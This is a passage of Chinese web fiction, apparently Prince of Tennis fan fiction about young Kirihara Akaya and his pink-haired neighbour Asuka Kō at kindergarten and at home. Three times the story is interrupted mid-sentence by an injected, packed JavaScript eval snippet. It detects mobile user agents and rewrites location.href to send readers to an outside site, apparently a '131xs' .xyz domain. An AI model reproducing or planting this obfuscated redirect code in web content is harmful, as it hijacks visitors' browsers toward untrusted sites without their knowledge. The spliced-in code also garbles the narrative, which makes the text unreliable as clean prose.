飞鸟绛睁大眼,粉金色的眼瞳中满满当当全是震惊和后知后觉的羞耻。 痛苦折磨,冷酷沉默……还有刚才那两句诗……谁? 我吗?? 啊??? 4. 大哥,你说句话啊大哥? 人究竟有多勇敢,才能够直面这种情况。 飞鸟绛呆在原地,脑海中来回回旋着那几句话。 灰色圆寸头抬了抬下巴,不满道:“你怎么不说话?” 难道真的有过很悲惨的家庭经历?那他也不是不可以放他一马……大哥混,但大哥有原则! 粉色的点心团子,人小小一个,长得一副很好拿捏的样子,那群女生究竟带着什么样的滤镜才会说这点心团子是冷酷园草啊? 他一拳就能打坏一个好不好? 灰色原圆寸头撇撇嘴,认为她们十分没品味。 粉金色的眼瞳震惊地盯着他,接着低下头,只能看到圆圆的发顶,拳头握着衣角,好像在忍耐什么。 从灰色圆寸头的角度来看,就是弱小又可怜。而飞鸟绛,脑子里还在循环播放弹幕。 沉默、冷郁、难以言说的伤痛…… 片刻,飞鸟绛终于抬头: “你……是来羞辱我的吗?” “噶?” 灰色圆寸头收回自己的鹅叫,挠挠脑袋:“也不是羞辱,你说是不是就行了。” 是可怜人,大哥罩你。 不是可怜人,大哥干你。 飞鸟绛脸蛋涨红,逼不得已,真诚道:“同学,我们打一架吧,如果我赢了,你把刚才的话收回去。” 尤其是,从他的脑海中收回去! 什么污言秽语啊! 切原赤也最近在编写伟大的书籍。 根据飞鸟绛的日常行为综合分析出可行的攻略方法一二三四。 计划实行的第四天,被遗忘了六次,重新捡起来五次! 切原赤也正在踢球,他和隔壁足球班的同学关系很好,经常在活动时间一起踢球。踢到半路,掀起来衬衫衣角擦汗,露出白乎乎圆滚滚的肚子, 运动后的白皙皮肤沁出薄薄的一层汗液,蒸得脸颊粉粉。 清水老师抱着一沓资料过去,一偏头,看见球场上一个胖嘟嘟的汤圆肚子,急忙喊:“切原同学!不许掀开衣服,会着凉的!” 切原同学没听到老师的呐喊,左右看看,前后看看,环顾一圈,终于想起自己遗忘的计划,在所有人视线中,放下衣角一溜烟跑出小球场。 被抛弃的足球队友们:? 疑惑地互相对视几眼,纷纷发出见解。 “切原同学去哪里?” “可恶啊,他刚才掀着衣服四个方向都展示了一圈,是想抢夺我的魅力吗?” “说的什么话,你哪里有魅力这种东西存在!所以我们少一个队友啊,怎么办?” “下一局轮到切原同学当门卫了,他是不是故意的啊!” 切原同学不是故意的。 切原同学在奔跑! 观察飞鸟绛计划实行的第四天,还没有取得实质性进展。甚至连虚假进展都没有! 这怎么可以! 切原赤也的美好品德之一:坚韧不拔。 不攻略下飞鸟绛,他连续十年都会无法安睡的! 所以飞鸟绛去哪了? 切原赤也几乎把所有活动区翻了个底朝天,才在秋千树后一群人的缝隙里看到一点点的粉色发丝。 和那么多人!离那么近! 是交朋友了吗? 他们怎么做到的?? 凭什么?! 切原赤也心急地过去,躲在另一颗树后探头,窃听。 灰色圆寸头昂着头对飞鸟绛说着什么。切原赤也睁大眼,认出这个灰色圆寸头就是龟崎。 身材高大得像小学生一样,还顶着和尚一样的发型,就算是背影也不会有认错的可能! 飞鸟绛在他们的包围下,只能露出一个竖条的身影。 垂着头。看起来可怜又无助。 他们在说什么啊? 切原赤也心里有一百只蚂蚁在爬,像上蹿下跳的猴子一样挠树,刮出吱嘎吱嘎的声音,甚至着急地啃了一口。 苦的,不好吃! 切原赤也呸呸两声,把苦树汁呸出去,苦得龇牙咧嘴。 形势有所变化,灰色圆寸头他们离飞鸟绛更近了。 不服输和嫉妒共同燃烧起来一把大火,切原赤也抱着胸,咬牙切齿地假装路过,靠近过去听—— 龟崎:“既然这样,那我们几个就好好教训教训你。” 说着就开始作势挽袖子。 飞鸟绛内心已经社亖了一万遍,面色僵硬,语气平淡:“好哦。” 一道阴影突兀地笼罩住飞鸟绛。 只见太阳所在的方向,凌空飞起一个崽,红白相间的球鞋底直直冲向灰色圆寸头。 “砰!” 随着一声巨响——切原赤也一脚干倒龟崎,帅气地单膝跪地,一只手像翅膀一样向后飞扬,一只手擦擦鼻尖,意气风发!闪亮登场! 龟崎四肢和侧脸与地面紧紧贴附,被小弟们强行撕起来上半身。 “龟崎老大,你怎么了龟崎老大?” “大哥,你说句话啊大哥?” 龟崎不语,只一味的眼睛转圈。 小弟们人机一样,一个指令一个动作,没有指令不敢动作—— 况且切原赤也的名头他们也听过,刺头一个,无论什么运动都能做的很好,说不定打架也能做得很好!没有老大,根本打不过吧! 再三衡量,小弟们忍气吞声,将龟崎大哥完全从地面撕起来,半拖半抬,灰溜溜逃走。 空气中,只剩撂下的颤音狠话在回荡。 “你们给我等、给我们老大等着!” 秋千树旁边只剩下了一黑一粉两个崽。 切原赤也眼睛亮晶晶地看着飞鸟绛。 有预感自己的计划即将迎来历史上第一个重大的转折点! 这可是!英雄救美! 快夸他! 快夸他啊!!! 飞鸟绛和切原赤也眼神对上。后者依旧维持着那个拉风的造型,好像为了配合摄影师拍摄而一动不动的模特。 切原赤也等了许久,胳膊都要酸掉了,终于听到飞鸟绛的声音。 “你跳得还挺高的……”飞鸟绛问:“怎么做到的?” 切原赤也:“啊。” 就只是这样吗? “就只是这样。”切原绘理下了结论,“不然还要别人痛哭流涕地感谢你吗,又不是在演偶像剧。” 切原赤也:“可恶!我是不会放弃的。” 切原绘理:“你这家伙。毅力也给我放到正途上多一点吧!” 切原赤也捂着耳朵边跑边大声道:“知道啦知道啦!” 幼崽之间的爱恨情仇啊。切原绘理摇了摇头,咬着笔头,注意力又投入到设计图纸里。 ……不对。 “切原赤也!我没听错的话,你是说你参与打架斗殴了对吧! “没有——妈妈你听错啦!”有些心虚的声音从房间里传来。 切原绘理撸着袖子上去,推开门,将切原赤也里里外外检查了一遍,和膝盖上一个鸡蛋大小的淤青大眼瞪小眼。 切原绘理:“这是怎么搞的?” 切原赤也:“和见义勇为没关系哦!” 切原绘理:盯…… 切原赤也结结巴巴:“男……男人的勋章……是这样的……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546736|171166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 切原绘理敲黑发幼崽的脑袋,一连敲了三下,咚咚咚,一声比一声响:“这也是男人的勋章吗?” 切原赤也:QAQ 见义勇为的新鲜感和荣誉感让多巴胺和肾上腺素疯狂分泌,掩盖了微不足道的疼痛感。切原赤也英勇出场的时候,也没想到,帅气的pose背后,需要付出膝盖淤青的代价。 最重要的是,即使是在邪恶龟崎及其团伙的围攻下救出了飞鸟绛,攻略计划也没能起到一点进展。 切原赤也第二天,背着书包早早走出家门,扬起大大的笑容,开始等待。 校车停下,门打开后露出清水老师的身影:“切原同学今天出来得这么早啊?” 切原赤也胸脯抬得更高了。 清水老师手扶着膝盖,弯腰等了一会,迟疑,“切原同学不上车吗?” 切原赤也:“哼哼。” “吱嘎。” 隔壁的院门打开。 那扇刷着白色奶油墙漆的木门上环绕着清新的绿色藤蔓,从中走出了一只小小的飞鸟绛。 飞鸟绛低着头,专心致志的,不知道在摆弄手里的什么东西。 切原赤也准备好了! 飞鸟绛距离他还有3米、2米、1米、0米!1米、2米……飞鸟绛上车了。 切原赤也:“……” 清水老师:“切原同学快上车,我们要出发了。” 勿扰。 心已碎。 切原赤也想起来之前公园里的一只小猫,瘦瘦小小的,但长得很精致。在公园称霸一年,但从来没有误伤过一个慕名前来喂猫的铲屎官。 因为小猫根本不给任何人眼神。 冷脸小猫三米内都不会有二脚兽出现。 又怎么会伤到二脚兽呢? 切原赤也心冷冷,再次体会到被小猫无视了个彻底的心情。 除了切原赤也,小网球班的所有小朋友都心情好好! 因为这一天是一周一度的“活动日”! 小足球班可以踢一天的足球,小阅读班可以读第一天的绘本,小网球班自然也可以打一整天的网球! “我还没打过网球嘞……” “可是网球不是你自愿选择的吗?没打过怎么会选我们小网球班呢?” “因为我们全家都是北次郎的忠实粉丝!爸爸说打网球很酷,所以我也要学网球!” “那我可以教你噢,我已经有了三个月的网球经验!今年选择小网球班可是信心满满!” 屋子里塞满了童言稚语,清水老师听到“北次郎”才终于忍不住笑出声,咬着唇将小朋友们带到了新修建的mini网球场,发下网球拍,和网球。 飞鸟绛抱着快有他人高的网球拍,双手捧着黄绿色的网球。 还是好大啊……网球…… 不过还好,比什么足球篮球的小多了。 不过,在这之前,他有件很重要的事情要做。 小网球班队伍的最后,有个阴沉沉的低落小蘑菇蹲在那里。 飞鸟绛过去,拍了拍小蘑菇的肩膀。 “切原同学,给你——” 小蘑菇抬头,看到被捧到眼前的黏土娃娃。 黑色的头发,绿色的眼睛。 虽然圆滚滚的。 但绝对是他本人! 飞鸟绛认真道:“昨天的事,谢谢你。” 冒黑气儿的胆小菇蹭得一下出土。切原赤也不可置信。 “这是给我的吗?” 原来飞鸟绛早上忽视他,专心致志地捏黏土,是为了送给他吗?! 啊! 啊啊啊! 5. 阿绛!你哭了吗?! 任何运动都需要培养团结的精神,即使是可以单打独斗的网球也不能例外。因此,小网球班的活动都是以团体形式进行的。 清水老师:“接下来就由大野老师负责指导你们,不过我也会一直在旁边看着。一定要注意安全,不可以随便脱衣服,不可以起争执,如果有矛盾先来告诉老师,老师会帮助你们解决的……” 大野老师是个身高几近一米九、一身肌肉的壮汉,此时站在清水老师后面,憨笑着挠头,用和身型完全不符的温柔眼神看着小朋友们。 粘土娃娃被晾在空气中一会儿,没得到回应。 “你不想要吗?” 飞鸟绛握着黏土的手收回了一点,立即被反应过来的切原赤也抓住。 黑发幼崽将黏土小心翼翼地塞进胸前的口袋,拍了拍,低着头左右看看,不放心地又拿出来,双手捧着,转身duangduang跑进室内,后脑的碎发随着脚步雀跃的跳动。 看起来十分忙碌。 在飞鸟绛即将离开前,切原赤也终于跑回来,鼻尖冒汗,但胸前没有了鼓鼓的形状:“我把娃娃放到书包里了!” 飞鸟绛:“啊……” “这次绝对不会有问题!”切原赤也趁热打铁:“要和我搭档吗,阿绛!” 飞鸟绛:现在叫名字是不是太快了点……啊,搭档,反正一定要有一个搭档的话,这家伙应该可以吧,看起来很有精力的样子……等等啊,现在就叫名字是不是还是太快了点? “好,切原同学。” 切原赤也上前一步,握住飞鸟绛的手,两个人一起捧着同一颗毛茸茸的网球,认真道:“是赤也!” 飞鸟绛宛如被赶上架的鸭子,轻轻抽手,抽不动。 这家伙到底用了多大的力气啊?他抬头看了切原赤也,碧绿眼睛亮得好像有一簇火苗在跳跃,是令人不敢直视的炙热。 “我们仅仅认识了一周,切原同学。”飞鸟绛说道,短短的一句话好像进度条,每多一个字,眼前黑发幼崽眼睛里的火苗就要熄灭一分。 好麻烦啊,这家伙。 “……”飞鸟绛停顿了一下,“也、也不是不可以……赤也,对吧?” 切原赤也失落了足足三秒才反应出听到了什么,惊喜褪去后以更大的浪潮席卷而来:“啊!对!” 互叫名字一小步,飞鸟绛攻略计划一大步! 隔壁的足球场只能顶着太阳在草地上跑,网球场这边却有树荫,大野老师带着孩子们在树荫下讲课。飞鸟绛很满意自己的选择。 “许多小朋友都是第一次接触网球,我们今天要认识到的第一件事,就是球拍的重要性,要将自己的球拍当□□人一样呵护……” 很快,有小朋友迫不及待的举手,大野老师不得不停下来询问:“花田同学想要说什么?” 花田满眼都是孩童的天真无邪,仰着头大声道:“爱人是什么?” “爱人当然就是爱的人了!花田君好笨!” “我知道我知道!爸爸是妈妈的爱人,妈妈是爸爸的爱人,就是这样对吧。” 有的小朋友恍然大悟,“所以我是爸爸,球拍是妈妈,我们的宝宝是谁呢,网球吗?” “可恶啊!怪不得爸爸妈妈总是一起打我!” “爱人就是……一种人。”大野老师意识到对一群个位数年龄的小朋友讲爱人不合适,准备换个说法:“我们要将球拍当做家人一样呵护。” 然而场面已经不可控制了! 大野老师……完全插不进话! “我不要生一堆小网球啊呜呜哇……” “一定要球拍当爱人吗,换一个不行吗?我更喜欢友子同学这种长相的……” 有的玛卡巴卡,有的捂住嘴巴小心翼翼地四处看友子有没有在周围。 大野老师被红着脸的,哇哇哭的,神情各异的孩子们包围起来,一米九的身高好像尘埃一样渺小,无助地摆动着手臂,慌乱地到处看。 好……好恐怖……救命啊,清水老师! 切原赤也戳戳飞鸟绛,小声:“阿绛,你也想要球拍当爱人吗?” 飞鸟绛:“不想。” 切原赤也认真地说:“我也觉得。妈妈说每个男孩子只能喜欢一个人,有白月光还找替身的男主都该被泥头车撞……如果只能选择一个,比起网球拍,我现在更喜欢游戏机,我想要游戏机当我的爱人。” 飞鸟绛打了个哈欠:“噢。” 清水老师很快将大野老师从这种地狱场面解救出来。 “第一个安静下来的小朋友中午可以吃双份的布丁哦!” 飞鸟绛抱着球拍,莫名其妙地收获了天上掉下来的双倍布丁。 第一次当老师,大野老师经验不足,但做了许多准备。蹲下来向小朋友们展示了几种简单又好看的手胶缠法,并让大家四散开来尝试。 “现在,大家先过来选喜欢的颜色和图案吧!” 统一购入的手胶在树下的一个大袋子里,大野老师一声令下,切原赤也小旋风一样冲了出去——飞鸟绛只感受到有一阵风吹过,身边就没人了。 好挤…… 小朋友们你挨我我挨你地挤在一起,最里面那层甚至头贴头脸贴脸,几双小肉手在大袋子里选来选去,始终犹豫要选哪一个。而最外面,不知道是哪个小朋友倒栽葱一样载到人群中,一只脚上穿着小皮鞋,另一只脚连袜子都不见了! 嘶…… 飞鸟绛缩缩脖子,后退两步。 算了,等会拿大家剩下的吧,反正颜色和图案都无所谓。 挤挤挨挨的人群里,突然伸出一只手,五根手指分开,好像在向天祈祷什么。 飞鸟绛盯着这只手,向下看去,只看到无数个脑袋和蓝色脊背。 很快,那只手消失在人头里,不出三秒,又伸出来,这次不是五指朝天,肉手紧紧攥着两卷卡通手胶—— “阿——绛——” 飞鸟绛一怔,走到人群边缘,拽住这只手。 手的主人声音闷在人群里,不确定道:“阿绛?” 飞鸟绛抿唇。 “是阿绛吗?可恶,你是谁,警告你噢,不许抢我们的手胶!不然等我出去会狠狠……” “是我。” 感受到那只手没有往回缩,飞鸟绛双手把住他,后撤一步,将切原赤也提了出来,轻松得好像是从沙丁鱼里拽出其中一条一样。 切原赤也重新站立在土地上,头发乱糟糟,衣服皱巴巴,神情像是如获新生,宛若一头骄傲的小狮子一样昂头:“不愧是我,刚才在里面都踩不到地面,即使这样,切原大人也能抢到里面最帅气的两个!” 一只满印红色小汽车图案,底色是浅黄色条纹的手胶被塞到飞鸟绛怀里:“诺,这是你的!” 语气和塞过来的动作都稀疏平常,就好像这只手胶不是黑发幼崽第一个冲进人群,拼尽全力精挑细选出来得一样。 飞鸟绛握着手胶,感觉……新邻居其实人也不错。 “谢谢你,赤也。” 切原赤也低头,忍不住发出诡异奇怪的笑声。 飞鸟绛:“……” 大野老师演示的缠法简单易懂,飞鸟绛回忆着步骤,很快复制了一个。而切原赤也那边…… 手工笨蛋用可怜兮兮的无助眼神盯着飞鸟绛,后者不得不发挥乐于助人的美德,将切原赤也制作的垃圾从球拍上剥下来,用自己剩下的红色小汽车囫囵给他缠上。成品竟然也很好看。 缠完手胶,大野老师反而又让他们放下自己的家人球拍,按照身高排成整齐的长方形。 飞鸟绛被大野老师扶着肩膀推到男生的第一排、最边上。左右看看,意识到这意味着什么后,粉色小河豚开始憋气。 切原赤也在另一边翘着头和他打招呼,没得到回应,挠挠后脑勺,疑惑不解。 大野老师正面演示了一遍拉伸动作,背过身去,让大家跟着模仿。 不安分的某个黑发小朋友偷偷摸摸跑到队伍最边上,一个人就是一列队伍,强行加塞。 飞鸟绛还没意识到自己身边多了一个人,脸蛋憋的粉红。 小朋友们跟着大野老师向前迈了一小步,切原赤也向前迈了一大步,维持着几乎要劈叉的高难度动作,切原赤也歪头,轻而易举地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546737|171166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到飞鸟绛被发丝挡住的脸。 “桃子果冻……” 听到声音,飞鸟绛看过去,才注意到视野里多了一个绿眼睛的黑色脑袋。 微微皱眉:“什么?” 切原赤也吞咽口水:“中午的布丁会有桃子口味的吗?” 好想吃…… “应该会……”飞鸟绛顺着他的思路想了半秒,回神,疑惑道:“你为什么会出现在这里?!” “你为什么会出现在这里!切原同学!”清水老师只是几秒钟没看,整齐的队伍就乱套了。 切原赤也看到飞鸟绛抬起来的眼眸,捂住耳朵,慌乱:“阿绛!你哭了吗?!” 飞鸟绛茫然地眨眨眼,憋气产生的堆积在眼眶的透明液体就化作泪珠,顺着鼓鼓的脸颊流下去。 “可恶,对不起……我刚才没有想咬你的意思,也没有说你是桃子果冻,你不要生气了!”切原赤也更加慌乱,开始倒放时间线,反思错误,又想尽办法补偿,肉痛道:“这样吧,中午的布丁,把我的那份也给你好了!” 飞鸟绛……飞鸟绛根本找不到插话的间隙,只好飞快抹掉脸上凉凉的亮亮的液体。 清水老师已经抵达战场,要拎着切原赤也回到原本的位置。 切原赤也灵活得像邪恶液体四小猫,在清水老师手下不断地挣扎。 清水老师汗流浃背,恍惚地觉得自己在炒菜。 整个场面堪称手忙脚乱! 指清水老师手忙,切原赤也脚乱。 围观群崽不断发出惊呼和呐喊,像在看一场刺激的追逐赛事。 “哇!清水老师就差一点了!” “好耶!清水老师抓住了!” “切原同学加油!加油!加油!” “快准狠地再一次逃开了,不愧是你,切原君!” 大野老师急得原地团团转。 切原赤也带着清水老师,围着飞鸟绛团团转。 一圈、两圈……不知道多少圈…… 飞鸟绛眼神逐渐涣散:“好晕。” 他向前伸出手,凌空一抓,揪住一片衣角,也不管是谁的了,反正能制止这场闹剧让眩晕停住就好! 切原赤也好像一头快乐的小陀螺,猝不及防被人抓住衣角,强行地按住,脚下还在徒劳地刨地。 飞鸟绛语气虚弱:“停下来……” 刨地动作渐缓,停下来,切原赤也试图拽回自己的衣角,转不动。 奇怪。 他看了一眼虚弱得好像快要蔫掉的多肉一样的飞鸟绛,将原因归结在自己身上。 一定是因为刚才跑了太多圈,没力气了。 总不可能是因为他那看起来就很柔弱矮小好欺负的新朋友力气比他还大吧? 终于停住了! 清水老师喘着气,叉腰走了几步:“切、切原同学!” 切原赤也立即双掌合十,仰头眨眼,十分无辜:“拜托了,清水老师,我有不得不在这里的理由!” 清水老师:“……” 你这家伙,刚才溜得我团团转的时候可没有现在这么可爱! 眼看着清水老师皱起眉毛就要拒绝,切原赤也悄悄后撤两步,打算开始新一轮的追逐。 “别跑!”清水老师抬手。 切原赤也如同惊弓之鸟,动若脱兔,窜到大野老师旁边,选定了新的绕圈桩子。 清水老师失去所有的力气和手段。心说早知道你跑那么快,我的原则也不是那么坚固……摆手说:“那就麻烦大野老师重新排一下位置吧……” 大野老师眼疾手快地将切原赤也提起来,好脾气道:“好。” 清水老师见此,内心尖叫:没用的男人!原来你能抓住他啊! 然后疲惫地离开了。 没用的大野老师将切原赤也降落在飞鸟绛旁边,笑眯眯地安排大家向右瞬移一个位置。 切原赤也抹掉额头的汗珠,在大野老师第二次背过身后,偷偷看飞鸟绛。 脸还是粉红的,嘴角微微向上,眼睛依旧很亮,但没有水光。 诶? 怎么突然又变开心了? 6. 赤也我将要去远航—— 如果说之前对切原赤也的好感度是60%,那现在已经短暂涨到110%,喜爱值爆表! 飞鸟绛不喜欢那个位置。极其、不喜欢! 仿佛又回到被人用嘲笑语气喊“第一”的时候。 但现在站在那里的是切原赤也。那个热腾腾的,总是自说自话的,很有活力的……新朋友。 “新朋友?”飞鸟绘理半蹲下来,摸摸飞鸟绛的脑袋,一边帮忙摘下飞鸟绛肩上的小书包和小水杯,一边问道:“阿绛交到新朋友了吗?叫什么名字?” 飞鸟绛张了张唇:“叫……赤也,切原赤也。” 听到粉发幼崽喊出隔壁家小孩的名字,飞鸟绘理笑得更深:“这样啊,是隔壁家的赤也啊。” 飞鸟绛换好鞋子,将换下来的鞋摆放整齐,站起来拽了拽衣角:“赤也的话,说今天会过来拜访……妈妈不会介意吧?” 飞鸟绘理诧异于这两个前几天还完全不熟的小孩子,怎么今天就发展到互相拜访的情谊了,但想想隔壁家赤也热情快要溢出来的性格,又想通了。 切原赤也来的很快。 飞鸟绛甚至怀疑对方根本就是回家放下书包换了个衣服就过来了。 切原赤也语气委屈巴巴又很欢乐地解释:“妈妈听说今天又布置了手工作业,迫不及待地把我撵出来了……” 飞鸟绘理闻言立即明白……手工课作业,听起来是给孩子的趣味作业,其实是布置给家长的加班难题……还好她家阿绛的手工从来不需要她插手。 将地毯和茶几上的东西都清空,飞鸟绘理说道:“那妈妈去书房工作了,阿绛要好好招待赤也噢!” 切原赤也飞快地帮忙回答:“好噢,妈妈!” 飞鸟绛眨眨眼:“诶?” 一下子多了个崽叫妈妈,飞鸟绘理笑得不行,答应说:“好的,好的。” 两个小幼崽趴在地摊上认认真真折腾了一个多小时,终于完成了两个作品(by 飞鸟绛)和一坨垃圾(by 切原赤也)。 将作品分别放到袋子里装好,又依依不舍地将垃圾放到垃圾桶里,切原赤也站起身,拍拍身上的碎纸屑,提议道:“阿绛,我可以参观你的房间吗?” 飞鸟绛其实也不知道除了一起做作业,招待新朋友还能做什么。既然切原赤也说了,他也站起来:“好。” 在去飞鸟绛的房间之前,先参观了客厅。方才闷着头去琢磨怎么制造垃圾,切原赤也都没能分心好好看看四周。 现在抬头一看,才发现电视旁边又一排能排到天花板的浅木色柜子。 其中一列全部都是黏土娃娃! 两个小幼崽的身高不足以看到最上面那排,飞鸟绛拉着切原赤也后退两步到茶几旁边,还是看不到,互相扶着爬上茶几站起来。 飞鸟绛指着娃娃:“那个是第一次的作品,是一个雪人。” 切原赤也问:“是粉色的雪人诶!为什么是粉色,因为阿绛的头发是粉色吗?” 飞鸟绛:“不,是因为做的过程中被纸片割伤手了。” 出血没有很多,沾上白色的粘土揉着揉着就变成了浅浅的粉色。 切原赤也十分崇拜:“哇,被纸片割伤!听起来好厉害!” 旁边还有许多其他类型的。 飞鸟绛:“这个小房子,是妈妈抢回来的。之前的幼稚园手工比赛评选,拿到奖以后没有把小房子还回来,我很难过,妈妈于是亲自去了幼稚园,那它带回家。” 切原赤也眼睛亮晶晶:“哇!妈妈也好厉害!” 飞鸟绛:“还有这个……” 飞鸟绘理在书房打开了一角门缝,看着两崽站在茶几上指点江山,会心一笑,放心地回去了。书房门依旧留了一条缝,用来留意幼崽们的声音。 依次看完客厅、阳台,轮到了飞鸟绛的房间。布局和东京老家差不多,没有很童趣,是浅色原木风格。 入目是一张床,一张书桌,白色的窗帘,还有窗台上一盆开得很艰难的雏菊。 进门后,切原赤也指着雏菊,直言不讳:“它看起来快要死掉了。” 飞鸟绛愣了一下:“……你胡说!” 切原赤也:“我没有!” 飞鸟绛开始憋气。 切原赤也看着飞鸟绛脸颊鼓起来,从白玉色慢慢变成粉红色。 “也不是快要死掉,就是……看起来没有那么活力满满……” 飞鸟绛还在憋气。酸涩从鼻尖传到眼角,眼看就要积聚亮亮的液体。 切原赤也急忙:“我从来没有看到过这么健康的小雏菊,阿绛,你真是个天才园丁!” 看着飞鸟绛停止憋气,切原赤也松了一口气。 书房里的飞鸟绘理完全不知道,在专心工作的几分钟,两个小幼崽的友谊的小船差点沉没。 即使有一点波折,第二天,飞鸟绛背着小书包出门,看见一脸期待地等在门口的切原赤也时,还是别别扭扭地走过去。 “早上好。” 切原赤也很困,努力睁大眼睛:“早上好,阿绛!” 飞鸟绛上前一步。 出门前妈妈的叮嘱在耳边回放。 “好朋友就是好手拉手上学呀!” 好困难。手拉手什么的…… 飞鸟绛伸出手,犹豫着又要缩回去时,一只手主动握上了他的。 “清水老师,我们来啦!”黑发幼崽像上了发条的进击士兵一样,拉着飞鸟绛往前走。 至于飞鸟绛表现出来的迟疑,切原赤也半点也察觉不到。 好朋友之间牵个手怎么了?!飞鸟绛刚伸出手,切原赤也无师自通地领会到了意思,立即牵住了! 切原赤也朋友很多,但从来没有一个和他手拉手一起上学过! 所以…… 他是不会放过这个唯一的飞鸟绛的! 直到被拉上校车,飞鸟绛还能听到身边幼崽轻轻地在哼歌。 哼的歌是飞鸟绛没听过的童谣,语调轻快,像走在清晨山林小路上,鼻间是清新湿润带着泥土味道的空气,再往前几十米,就能看见盛开的朝阳。 飞鸟绛和切原赤也的友谊升温,两个绘理妈妈的行为就更加光明正大。 一个看起来长头发温温柔柔,衬衫长裙和能够放得下电脑的托特包,从事金融行业的职业女性。 一个短发干练,卫衣休闲裤,风格又酷又随性,是设计行业的自由职业者。 八竿子打不着的两个人竟然同叫绘理、各自拥有一个差不多年龄也差不多可爱的幼崽,还在樱花快要盛开的日子住在了同一条街上。 切原绘理把这称为天降的缘分。 两个绘理很快成为可以一起购物,一起吐槽奇葩客户的好朋友,并热衷于给幼崽们买同款可爱的小物品。 换室内鞋的时候,飞鸟绛发现了切原赤也脚上的黄色咸蛋超人袜子,和自己同色的咸蛋超人眼镜袜子。 手工课的儿童剪刀都能够变身成为发条汽车……就连两个半圆的橡皮,合起来都能成为一个完整的米老鼠。 有一次清水老师请假,平时不怎么出现的副园长过来代课,还惊讶地以为他们是双胞胎! 圆圆的副院长推推自己圆圆的眼镜框,笑着说: “啊!在我不知道的时候,我们园里出现了一对这么可爱的双胞胎吗?!” 园长的近视程度又加重了吗? 园长助理小碎步靠近过去,小声提醒:“园长,不是啦,那个黑头发的是切原同学、切原赤也!您忘记了吗?” 切原赤也坐的板板正正,全身上下只有卷卷的发丝时乱的。 副园长看着诧异地再看过去,注意到那双绿宝石一样邪恶的眼睛的时候,回忆浪潮般涌回来。 想起来了! 全想起来了! 幼稚园里最难缠的小孩,一定不是爱哭的,而是最有活力的! 一次代课经历,切原赤也的存在,让副园长彻底远离一线教学生涯,退居二线老老实实管起财务。 副园长后背冒出一点冷汗:“原来……原来不是双胞胎吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546738|171166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是。 回忆起切原赤也的小恶魔真面目,再看旁边可爱乖巧的飞鸟绛,副园长懊恼地拍了拍自己。 怎么回事!把这么乖巧的小孩和切原赤也归咎于一谈?! 肥肥胖胖的天真副园长此时还不知道,今天下午他将要面临什么,自顾自地想—— 这孩子一定是文静乖巧的低需求宝宝。 很好带! “你要带我去哪里?”飞鸟绛问。 切原赤也:“一个很好玩的地方,你绝对会喜欢的!” 飞鸟绛“噢”了一声,指着切原赤也的小象水杯:“赤也还没有喝完水,绘理妈妈会不高兴的。” 切原赤也愁眉苦脸:“白水好难喝……阿绛你帮我喝掉吧!” 飞鸟绛飞快道:“不要。” 几秒后,看着切原赤也为难的脸色,他小声说:“可以偷偷倒在花坛里。” 幼稚园的花坛很大很多,一点点湿润的痕迹很不起眼,不像在家里,经常会被妈妈发现罪迹! 切原赤也眼睛亮起来:“可以吗?” 飞鸟绛认真点头:“可以的,不会被发现。而且小花小草也需要喝水喝牛奶才能长高啊!” 他家的小雏菊就是这样在他的精心喂养呵护下茁壮成长的! 两只小幼崽奶奶祟祟地偷溜道后花坛,将水倒掉,最后只剩下一口。切原赤也合上盖子,打开习惯皱着眉头吸了一口,不情不愿地咽下去。最后晃晃杯子,舒展了眉毛。 “这下就算是我自己喝完的了!” 幼稚园后门在这时打开。 一辆白色的小货车驶进来。 偷偷做坏事的两只小崽躲在草丛后面,露出两双眼睛。 切原赤也:“那是你们家的车吗?” 最开始,飞鸟绘理就是开着一辆白色小货车,载着满满当当的家当和飞鸟绛突然出现在了街道里。 飞鸟绛摇头:“不是噢。” 切原赤也放心了。 接着,小货车往里开了几米,下来两个绿色马甲戴帽子的高大叔叔,打开了后车车斗,卸下来一个又一个大箱子。 热心的保安笑眯眯从保安室出来帮忙。 切原赤也:“飞鸟绛,就是现在!” 出发! 飞鸟绛绷紧脊背,谨慎地弯着身体,跟着切原赤也绕过小货车,躲开保安大叔的视线,像两条小鱼一样丝滑地从没关紧的大门里游了出去。 副园长啊,赤也我将要去远航—— 大街上,两小只穿着荷叶领蓝色小制服,深蓝色短裤,戴了鹅黄色小圆帽的幼崽手拉手走在大街上。 飞鸟绛格外在意小象水杯,眼神再扫过去的时候,却没有发现小象水杯的身影。 “赤也,你的小象走丢了。” 切原赤也一阵手忙脚乱,翻腾了半天,蹲下来把书包里的东西全都倒了出来,甚至还倒出了两团垃圾,最终也没找到小象水杯。 飞鸟绛有理有据:“一定是因为你喝完水,小象完成任务,所以事先回家了。” 切原赤也合掌:“有道理!” 